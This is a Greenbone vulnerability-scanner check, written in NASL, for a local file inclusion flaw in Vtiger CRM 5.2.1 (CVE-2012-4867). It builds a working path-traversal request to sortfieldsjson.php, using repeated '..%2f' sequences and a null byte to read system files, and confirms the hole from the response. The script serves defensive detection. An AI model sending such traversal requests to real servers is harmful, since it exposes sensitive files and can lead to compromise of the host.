Vtiger CRM <= 5.2.1 LFI Vulnerability - Active Check

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:vtiger:vtiger_crm";

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103145");
  script_version("2026-05-07T06:32:13+0000");
  script_tag(name:"last_modification", value:"2026-05-07 06:32:13 +0000 (Thu, 07 May 2026)");
  script_tag(name:"creation_date", value:"2011-04-29 15:04:36 +0200 (Fri, 29 Apr 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_cve_id("CVE-2012-4867");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Vtiger CRM <= 5.2.1 LFI Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_vtiger_crm_http_detect.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("vtiger/http/detected");

  script_tag(name:"summary", value:"Vtiger CRM is prone to a local file include (LFI) vulnerability
  because it fails to properly sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"An attacker can exploit this vulnerability to obtain potentially
  sensitive information and execute arbitrary local scripts in the context of the webserver
  process. This may allow the attacker to compromise the application and the underlying
  computer.");

  script_tag(name:"affected", value:"Vtiger CRM version 5.2.1 and probably prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/47263");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("os_func.inc");
include("traversal_func.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

files = traversal_files();

foreach file (keys(files)) {
  url = dir + "/modules/com_vtiger_workflow/sortfieldsjson.php?module_name=" +
        crap(data: "..%2f", length: 5 * 15) + files[file] + "%00";

  if (http_vuln_check(port: port, url: url, pattern: file)) {
    report = http_report_vuln_url(port: port, url: url);
    security_message(port: port, data: report);
    exit(0);
  }
}

exit(99);